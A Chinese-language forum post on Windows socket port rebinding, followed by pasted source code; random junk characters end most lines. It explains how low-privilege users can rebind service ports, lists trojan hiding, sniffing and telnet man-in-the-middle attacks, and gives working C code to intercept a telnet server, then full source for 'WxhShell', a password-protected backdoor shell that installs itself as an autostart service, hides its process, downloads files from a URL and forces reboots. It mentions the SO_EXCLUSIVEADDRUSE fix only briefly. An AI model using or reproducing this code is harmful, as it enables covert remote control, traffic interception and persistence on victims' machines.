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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: H07\z1?.K  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); +M"j#H  
*OLqr/ yb  
  saddr.sin_family = AF_INET; 1Q@]b_"Xh  
.UP h  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); `7/(sX.  
KF(H >gs  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 4aO/^Hl  
J&8KIOz14Z  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 d:)#-x*h7  
m. pm,  
  这意味着什么?意味着可以进行如下的攻击: P&0eu  
w/|&N>ZOx  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 K6DN>0sY  
P j   
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 3U<m\A1  
V'vWz`#  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 `'1g>Ebk0  
d]DV\*v  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  |5 V0_79  
y[m,t}gi  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 &M13F>!  
V\`Z|'WIQD  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 W,4!"*+  
vT?^#  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 NY7yk3  
? i _ACKpw  
  #include sF{~7IB  
  #include %,\JTN|g|A  
  #include J ?o  
  #include     qb? <u  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ! I:N<  
  int main() kX8C'D4 gX  
  { ZJ3g,dc  
  WORD wVersionRequested; -#ZvjEaey  
  DWORD ret; PYCN3s#Gi  
  WSADATA wsaData; sh :$J[  
  BOOL val; M=iTwK  
  SOCKADDR_IN saddr; ?tLApy^`?  
  SOCKADDR_IN scaddr; c_>Gl8J  
  int err; U}w'/:H  
  SOCKET s; i(4<MB1a  
  SOCKET sc; =Dn <DV  
  int caddsize; !Se0&Ob  
  HANDLE mt; .OdtM X y  
  DWORD tid;   yCxYFi  
  wVersionRequested = MAKEWORD( 2, 2 ); D0Q9A]bD;  
  err = WSAStartup( wVersionRequested, &wsaData ); JLu$1A@ '  
  if ( err != 0 ) { rqjq}L)  
  printf("error!WSAStartup failed!\n"); g<Z :`00|  
  return -1; R /=rNUe  
  } Ll]5u~  
  saddr.sin_family = AF_INET; CXq[VYM&X  
   4\n ~  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 >ai,6!  
*L^W[o  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); L$5,RUy  
  saddr.sin_port = htons(23); 6q^$}eOt  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) A|ZT ;\  
  { JX&U?Z  
  printf("error!socket failed!\n"); WFF?VBT'^  
  return -1; JV~ Dly>  
  } )Q1>j 2 &  
  val = TRUE; <Z^by;d|z  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 |0[Buh[_:c  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ~$y"Ldrp  
  { }5+^  
  printf("error!setsockopt failed!\n"); H~FI@Cf$L  
  return -1; 3X gJZ  
  } 2F2Hl   
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; DZqPCMz)^  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 k!Yc_ZB:*l  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 cC-8.2  
AlQhKL}|s  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) mG1~rI  
  { C~2!@<y  
  ret=GetLastError(); p]kEH\ sh  
  printf("error!bind failed!\n"); @_do<'a  
  return -1; }#^C j;  
  } ?F05BS#)X  
  listen(s,2); M+%Xq0`T  
  while(1) 6 - 3?&+  
  { 'C5id7O&  
  caddsize = sizeof(scaddr); h7#\]2U$[5  
  //接受连接请求 <q7o"NI6FZ  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); T]\1gs41  
  if(sc!=INVALID_SOCKET) V#Wy` ce  
  { VukbvBWPN  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); cy^=!EfA  
  if(mt==NULL) AMyg>n!  
  { Y#os6|MV#  
  printf("Thread Creat Failed!\n"); >` s"C  
  break; s&$?m [w  
  } _}5vO$kdO  
  } T f3CyH!k  
  CloseHandle(mt); S/E&&{`ls  
  } aBC5?V*e%  
  closesocket(s); v]cw})l  
  WSACleanup(); TdPd8ig8{  
  return 0; "}3sL#|z  
  }   PSJj$bt;<+  
  DWORD WINAPI ClientThread(LPVOID lpParam) &@6xu{o  
  { Ll KO(Q{"  
  SOCKET ss = (SOCKET)lpParam; 4 {M   
  SOCKET sc; 5{HF'1XgZ*  
  unsigned char buf[4096]; H q6%$!q  
  SOCKADDR_IN saddr; UV2W~g  
  long num; }R;}d(C`  
  DWORD val; 1WtE] D  
  DWORD ret; AGFA;X  
  //如果是隐藏端口应用的话,可以在此处加一些判断 54p{J  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Z'i@;^=A  
  saddr.sin_family = AF_INET; +QN4hJK  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); s",Ea*  
  saddr.sin_port = htons(23); :aOR@])>o  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ^=x/:0  
  { |Z>-<]p9g  
  printf("error!socket failed!\n"); i "V.$|,  
  return -1; )5@P|{FF  
  } 2WS*c7Ct  
  val = 100; &h/r]KrZ  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 6)1PDlB  
  { `dm*vd  
  ret = GetLastError(); OkC.e')Vx  
  return -1; vhF9|('G  
  } +JI,6)Ry  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) fd4gB6>  
  { B :%Vq2`  
  ret = GetLastError(); k' 8q /]  
  return -1; SA'g`  
  } 'ayb`  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) |pHlBzHj  
  { P7w RX F{  
  printf("error!socket connect failed!\n"); G/JGb2I/7|  
  closesocket(sc); uBts?02  
  closesocket(ss); ! \s}A7  
  return -1; a &tWMxBr  
  } IFBt#]l0  
  while(1) (wL$ h5SG  
  { u0#KBXRo  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 wnC-~&+6  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 eZ:iW#YF  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 t0f7dU3e;L  
  num = recv(ss,buf,4096,0); n1; a~0P  
  if(num>0) T8m]f<  
  send(sc,buf,num,0); J299 mgB  
  else if(num==0) V%4P.y  
  break; v9 \n=Z  
  num = recv(sc,buf,4096,0); ] !*K|?VL  
  if(num>0) qeMDC#N  
  send(ss,buf,num,0); _=0Ja S>M.  
  else if(num==0) to: ;:Goa  
  break; >\K=)/W2  
  } )bg|l?  
  closesocket(ss); - G>J  
  closesocket(sc); oO;L l?~  
  return 0 ; yhgGvyD  
  } uQ3sRJi  
j)/Vtf  
jvQ^Vh!mC  
========================================================== |]<#![!h#  
{*;8`+R&  
下边附上一个代码,,WXhSHELL K\ Wzh;  
bYLYJ`hH<R  
========================================================== x"Ll/E)\v]  
Pt85q?->  
#include "stdafx.h" 9X*Z\-  
kLzjK]4*  
#include <stdio.h> <%.%q  
#include <string.h> te[uAJ1 N  
#include <windows.h> O^\:J 2I(  
#include <winsock2.h> cS Lj\'`b  
#include <winsvc.h> q5r7 KYH{  
#include <urlmon.h> 2W0nA t  
hbYstK;]Z  
#pragma comment (lib, "Ws2_32.lib") /$%&fo\[  
#pragma comment (lib, "urlmon.lib") `.;U)}Tn  
<SJ6<'  
#define MAX_USER   100 // 最大客户端连接数 7[=G;2<  
#define BUF_SOCK   200 // sock buffer 8qkQ*uJP  
#define KEY_BUFF   255 // 输入 buffer 346 z`5  
"yH?df24  
#define REBOOT     0   // 重启 !r.-7hR$  
#define SHUTDOWN   1   // 关机 274j7Y'  
9+y&&;p  
#define DEF_PORT   5000 // 监听端口 ~ ?nn(Q-  
V_ (Ly8"1;  
#define REG_LEN     16   // 注册表键长度 3]1 ! g6  
#define SVC_LEN     80   // NT服务名长度 '?$@hqQn  
|?jgjn&RQ  
// 从dll定义API `<>#;%  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); #qVvh3#g  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); w &YUb,{Y  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); .pZYPKMaE  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); .}F 39TS2  
]N}/L lq  
// wxhshell配置信息 W\j'8^kI9  
struct WSCFG {  I wj[ ^  
  int ws_port;         // 监听端口 #rW-jW=A  
  char ws_passstr[REG_LEN]; // 口令 \V'fB5  
  int ws_autoins;       // 安装标记, 1=yes 0=no d(}? \|  
  char ws_regname[REG_LEN]; // 注册表键名 Ag T)J  
  char ws_svcname[REG_LEN]; // 服务名 Mh3.GpS  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Wj3i*x$  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 [[_>D M  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 zATOFV  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ag8)^p'9  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" v1i-O'  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 F ]X<q uuL  
;^s|n)F#c  
}; i9 CQ~  
w!*ZS~v/r  
// default Wxhshell configuration m~;.kc  
struct WSCFG wscfg={DEF_PORT, "E7<S5 cr  
    "xuhuanlingzhe", >lmqPuf  
    1, aVHID{Gf Z  
    "Wxhshell", W`LG.`JW  
    "Wxhshell", \="U|LzG  
            "WxhShell Service", :BR_%$  
    "Wrsky Windows CmdShell Service", ^%%Rf  
    "Please Input Your Password: ", "&XhMw4  
  1, (8~mf$ zx,  
  "http://www.wrsky.com/wxhshell.exe", V*JqC  
  "Wxhshell.exe" #5y+gdN  
    }; ;\pINtl9<  
^W}| 1.uZ  
// 消息定义模块 IA}vN3  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; yLqhj7  
char *msg_ws_prompt="\n\r? for help\n\r#>"; @rqmDpU  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; #Qg)4[pMJ  
char *msg_ws_ext="\n\rExit."; hc$m1lLn  
char *msg_ws_end="\n\rQuit."; dR i6  
char *msg_ws_boot="\n\rReboot..."; x xzUey  
char *msg_ws_poff="\n\rShutdown..."; 7gLk~*  
char *msg_ws_down="\n\rSave to "; vC&0UNe$  
I`xC0ZUKj  
char *msg_ws_err="\n\rErr!"; [x?9< #T  
char *msg_ws_ok="\n\rOK!"; ":e6s co  
`Gxb98h/r  
char ExeFile[MAX_PATH]; [e\IHakj  
int nUser = 0; ~ecN4Oo4q;  
HANDLE handles[MAX_USER]; ?.ObHV*k  
int OsIsNt; C3.]dsv:  
]?}pJ28  
SERVICE_STATUS       serviceStatus; +(`D'5EB(  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; > mCH!ey  
'%_K"rb  
// 函数声明 6;~V@t  
int Install(void); B.?F^m@zS  
int Uninstall(void); b!MN QGs  
int DownloadFile(char *sURL, SOCKET wsh); <Ed;tq  
int Boot(int flag); 9pi{)PDJ  
void HideProc(void); {B#w9>'b  
int GetOsVer(void); zGme}z;1@  
int Wxhshell(SOCKET wsl); KN@ [hb7%  
void TalkWithClient(void *cs); s hq +  
int CmdShell(SOCKET sock); r 25VcY  
int StartFromService(void); LdOqV'&r  
int StartWxhshell(LPSTR lpCmdLine); !iHC++D  
NG\'Ii:-J  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); N?S;v&q+  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 'G[G;?F  
l`6.(6  
// 数据结构和表定义 _"H\,7E  
SERVICE_TABLE_ENTRY DispatchTable[] = &RuTq6)r  
{ $uwz` N:  
{wscfg.ws_svcname, NTServiceMain}, irw5<l  
{NULL, NULL} RI<s mt.Ng  
}; C:AV?  
sJQ~ :p0e  
// 自我安装 UZ<.R"aK  
int Install(void) C_ ;nlG6  
{ VNz? e&>  
  char svExeFile[MAX_PATH]; _ZJQE>]nWu  
  HKEY key; Nz"K`C>/  
  strcpy(svExeFile,ExeFile); B<myt79F_[  
V"gKk$j7  
// 如果是win9x系统,修改注册表设为自启动 E>#@ H  
if(!OsIsNt) { S,|ZCl>+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { J 7dHD(R8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8t< X  
  RegCloseKey(key); 8)s0$64Ra  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Pdh`Gu1:3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $B9?>a|{A  
  RegCloseKey(key); usKP9[T$  
  return 0; DIP%*b#l$\  
    } s9Tn|Pm+!\  
  } %#EzZD  
} W}7Uh b  
else { 2!9W:I7  
eC 2~&:$L  
// 如果是NT以上系统,安装为系统服务 jL)Y'  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 5Uhxl^c  
if (schSCManager!=0) 8.%wnH  
{ G.N `  
  SC_HANDLE schService = CreateService RV]QVA*i  
  ( U![$7k>,pr  
  schSCManager, Dbx zqd  
  wscfg.ws_svcname, h1B_*L   
  wscfg.ws_svcdisp, xe.f]a  
  SERVICE_ALL_ACCESS, 1NTx?JJfW  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , [(3 %$?[  
  SERVICE_AUTO_START, 03iy[~Y2  
  SERVICE_ERROR_NORMAL, PktnjdFV  
  svExeFile, ~ e<,GUx(]  
  NULL, V3|" v4  
  NULL, '%+LQ"Bp  
  NULL, Cnc=GTR i  
  NULL, G^;]]Ji"  
  NULL .;U?%t_7  
  ); cJSwA&  
  if (schService!=0) .R4,fCN  
  { TR `C|TV>  
  CloseServiceHandle(schService); Zu~t )W  
  CloseServiceHandle(schSCManager); 2h}FotlO  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); a~!7A ZT-O  
  strcat(svExeFile,wscfg.ws_svcname); Mu.oqT  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 9)[)0 7  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); .W9 *-  
  RegCloseKey(key); P uQ  
  return 0; U5F1m]gFr  
    } 9N2.:<so  
  } N!tNRMTi  
  CloseServiceHandle(schSCManager); AjO{c=d  
} 64y9.PY  
} gC%$)4-:  
cdI"=B+C\  
return 1; c>r~pY~$  
} b; vVlIG  
Dl\0xcE  
// 自我卸载 -EU=R_yg  
int Uninstall(void) )\W}&9 >  
{ 6Y.k<oem  
  HKEY key; LF (S"Of  
,#^2t_c/  
if(!OsIsNt) { /L]@k`.q@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %rl<%%T#.M  
  RegDeleteValue(key,wscfg.ws_regname); KAT"!b   
  RegCloseKey(key); =:TQ_>$Nc2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <h~uGBS"  
  RegDeleteValue(key,wscfg.ws_regname); Q/HEWk  
  RegCloseKey(key); !af;5F  
  return 0; {)kL7>u]^V  
  } wXYT(R  
} !WB3%E,I  
} >*|Eyv_  
else { *Hv d  
DU5rB\!.~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ^|!\IzDp  
if (schSCManager!=0) e-xT.RnQ  
{ AXo)(\  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); @P=n{-pIW  
  if (schService!=0) 6@d/k.3p  
  { Y'}c$*OkI  
  if(DeleteService(schService)!=0) { :4\_upRE  
  CloseServiceHandle(schService); ]N1,"W}  
  CloseServiceHandle(schSCManager); hbx+*KM  
  return 0; ,oEAWNbgQ  
  } b$*G&d5  
  CloseServiceHandle(schService); Jcp=<z*0  
  } 20A:,pMb  
  CloseServiceHandle(schSCManager); oChf&W 8u  
} %u Dd#+{  
} D [v225  
f8f|'v|  
return 1; ~ihi!u%~}  
} XNBzA3W  
GIK.+kn\  
// 从指定url下载文件 k?Zcv*[)D+  
int DownloadFile(char *sURL, SOCKET wsh) l`:-B 'WM  
{ An BM*5G  
  HRESULT hr; [H2su|rBI`  
char seps[]= "/"; #m'+1 s L  
char *token; \ov]Rn  
char *file; SS;'g4h\6  
char myURL[MAX_PATH]; +~;#!I@Di  
char myFILE[MAX_PATH]; !_&;#j](  
1@+&6UC  
strcpy(myURL,sURL); On+0@hh  
  token=strtok(myURL,seps); B]>rcjD  
  while(token!=NULL) Xs2B:`,hh  
  { k$,y1hH;f8  
    file=token; `y1,VY  
  token=strtok(NULL,seps); @d ^MaXp_P  
  } H_l>L9/\  
B+'w'e$6  
GetCurrentDirectory(MAX_PATH,myFILE); Lf Y[Z4  
strcat(myFILE, "\\"); "?J f#  
strcat(myFILE, file); grDz7\i:  
  send(wsh,myFILE,strlen(myFILE),0); z-nV!#  
send(wsh,"...",3,0); /DSy/p0%  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); RS7J~Q  
  if(hr==S_OK) L$ju~0jl)%  
return 0; DVBsRV)/  
else N VDvd6  
return 1; oTpoh]|[  
!U1V('   
} J=#9eW  
^$8WV&5q>  
// 系统电源模块 tkHUX!Ow;  
int Boot(int flag) 52*KRq o  
{ Ez>!%Hpn\  
  HANDLE hToken; sgB|2cj;j  
  TOKEN_PRIVILEGES tkp; l-'\E6grdH  
?&b"/sRS  
  if(OsIsNt) { z)*\njYe  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 1| xKb (_l  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); OJLyqncw  
    tkp.PrivilegeCount = 1; (8GA;:G7G  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; d5=yAn-+=  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 6 c-9[-Px  
if(flag==REBOOT) { * x.gPG  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) v;" pc)i  
  return 0; D._7)$d  
} fydQaxCND  
else { j)jt&Gg'  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) x=Ez hq]X  
  return 0; TyaK_XW  
} j<vU[J+gx~  
  } 5=.mg6:  
  else { @N\ Ht'f  
if(flag==REBOOT) { mgBxcmv  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Sr6?^>A@t  
  return 0; bB.Yq3KI  
} DJH,#re>  
else { leJ3-w{ 2  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) /<IXCM.  
  return 0; Mwd.S  
} 71HrpTl1fw  
} WQY\R!+  
z`|E0~{-  
return 1; /.m}y$@GV  
} `Jl_'P}  
MPJ0>Ly  
// win9x进程隐藏模块 mp0! S  
void HideProc(void) HK.Si]:  
{ 7+J<N@.d  
mP ^*nB@,  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); `)1qq @  
  if ( hKernel != NULL ) Dzw>[   
  { V5]\|?=  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); rK cr1VFy  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); zm^ 5WH  
    FreeLibrary(hKernel); z%/<|`  7  
  } Dl=vv9  
h &IF ?h  
return; 9!vimu)  
} k%({< ul  
toC|vn&P  
// 获取操作系统版本 $b"Ex>  
int GetOsVer(void) -"n8Wv  
{ ZF;s`K)  
  OSVERSIONINFO winfo; (FNX>2Mv  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); N_y#Y{c{(  
  GetVersionEx(&winfo); t? _{  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) LQa1p  
  return 1; )0 i$Bo  
  else Oat #%  
  return 0; D?9EO=  
} @|Hx >|p  
8BM[c;-{g`  
// 客户端句柄模块 o%73M!-  
int Wxhshell(SOCKET wsl) <+; cgF!+  
{ 78u=Jz6  
  SOCKET wsh; *(Us:*$W.  
  struct sockaddr_in client; U,^jN|v  
  DWORD myID; 'J#uD|9)  
|>=\ VX17  
  while(nUser<MAX_USER) _zFJ]7Ym.)  
{ OMN|ea.O  
  int nSize=sizeof(client); >qynd'eToR  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ' ui`EL%  
  if(wsh==INVALID_SOCKET) return 1; &ETPYf%#  
8'mm<BV;sT  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); LfG$?<}hR  
if(handles[nUser]==0) Kl+4A}Uo  
  closesocket(wsh); d Y]i AJ  
else /Oa.@53tK6  
  nUser++; %'[ pucEF  
  } e#{l  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); U\",!S~<  
w'!J   
  return 0; ~1.~4~um  
} ; WsV.n  
f n\&%`U  
// 关闭 socket ~Uaz;<"j0  
void CloseIt(SOCKET wsh) bR|1* <  
{ <fcw:Ae  
closesocket(wsh); 0'tm.,  
nUser--; n(el  
ExitThread(0); :Nw7!fd  
} \b|Q`)TK  
|0a GX]Y  
// 客户端请求句柄 .1?7)k v  
void TalkWithClient(void *cs) `v$Bib)  
{ {c:ef@'U  
h5m6 )0"  
  SOCKET wsh=(SOCKET)cs; fsVr<m  
  char pwd[SVC_LEN]; u&ozc  
  char cmd[KEY_BUFF]; 2HJGp+H  
char chr[1]; vke]VXU9z  
int i,j; d`4@aoM  
rwep e5  
  while (nUser < MAX_USER) { FuZLE%gP  
gT4H? #UB  
if(wscfg.ws_passstr) { =)y=39&;/  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); lIL{*q(  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9w,u4q  
  //ZeroMemory(pwd,KEY_BUFF);  Ry iS  
      i=0; 4\EvJg@Z.  
  while(i<SVC_LEN) { 1'g{tP"d  
AA0zt N  
  // 设置超时 &>o?0A6  
  fd_set FdRead; $;%dQ!7*  
  struct timeval TimeOut; QCk(qlN'h9  
  FD_ZERO(&FdRead); Z8_Q Kw>  
  FD_SET(wsh,&FdRead); x<e-%HB*-  
  TimeOut.tv_sec=8; .TWX,#  
  TimeOut.tv_usec=0; mdD9Q N01  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); )VCRbz"[g  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); H(Q|qckj  
w*s#=]6  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #pw=HHq*(  
  pwd=chr[0]; ( -rw]=Qu  
  if(chr[0]==0xd || chr[0]==0xa) { vxC,8Z  
  pwd=0; auT$-Ki8  
  break; i#y3QCNqf^  
  } 6J%+pt[tu  
  i++; N8:&v  
    } )IP{yL8c  
Sk,9<@  
  // 如果是非法用户,关闭 socket 8q& *tpE  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); /!Kl  
} 7Y(ySW  
L]HYk}oD.  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); tqo!WuZAj  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Z'sO9Sg8>  
?*8HZ1m#  
while(1) { ~.wDb,*  
wUz)9n 6j  
  ZeroMemory(cmd,KEY_BUFF); uua1_# a  
*!y.!v*  
      // 自动支持客户端 telnet标准   iy_\1jB0  
  j=0; \3@AC7  
  while(j<KEY_BUFF) { |+MV%QG;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Qvd$fY**  
  cmd[j]=chr[0]; ZXj;ymC'  
  if(chr[0]==0xa || chr[0]==0xd) { Tse Pdkk  
  cmd[j]=0; VX;tg lu2  
  break; %Sdzr!I7*  
  } b(~ gQM  
  j++; h}_1cev?  
    } B:\TvWbu  
/8` S}g+  
  // 下载文件 k99ANW  
  if(strstr(cmd,"http://")) { Uwqm?]  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); a/wkc*}}/  
  if(DownloadFile(cmd,wsh)) \o j#*aL^  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); (g@e=m7Q  
  else zz4A,XrD  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @pD']=d}t  
  } 5Y8/ZW~D0  
  else { R]Q4+  
5PQs1B  
    switch(cmd[0]) { =Jx,.|Bf  
  E*Q><UU  
  // 帮助 zoV-@<Eh  
  case '?': { L. xzI-I@D  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); SAEr$F^  
    break; ,{{uRs/  
  } F W# S.<  
  // 安装 :oH"  
  case 'i': { GBZx@B[TY  
    if(Install()) +0O{"XM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h,V#V1>Hu  
    else Cu\A[6g,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o?J>mpC  
    break; ZC1U  
    } 6 tbH(  
  // 卸载 Ir*,fyl  
  case 'r': { kE".v|@  
    if(Uninstall()) @:. 6'ji,`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gi7As$+E  
    else n8M/Y}mH   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w%1B_PyDg  
    break; X~Li`  
    } 1lNg} !)[K  
  // 显示 wxhshell 所在路径 9 0[gXj  
  case 'p': { GGs3r;(t  
    char svExeFile[MAX_PATH]; t p.qh]2c  
    strcpy(svExeFile,"\n\r"); B*owV%  
      strcat(svExeFile,ExeFile); y\Z-x  
        send(wsh,svExeFile,strlen(svExeFile),0); 8fdK|l w  
    break; F~ n}Ep~1  
    } }q(IKH\&  
  // 重启 iw(\]tMt  
  case 'b': { V\kf6E  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); qb ^4G  
    if(Boot(REBOOT)) )(&g\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X!n-nms  
    else { Kk~0jP_B9  
    closesocket(wsh); U"xI1fg%b  
    ExitThread(0); Z8=4cWI~;  
    } [j5 ^Zb&0  
    break; sDCa&"6+@  
    } t?v0ylN  
  // 关机 kvdzD6T 9  
  case 'd': { 'lv\I9"S)  
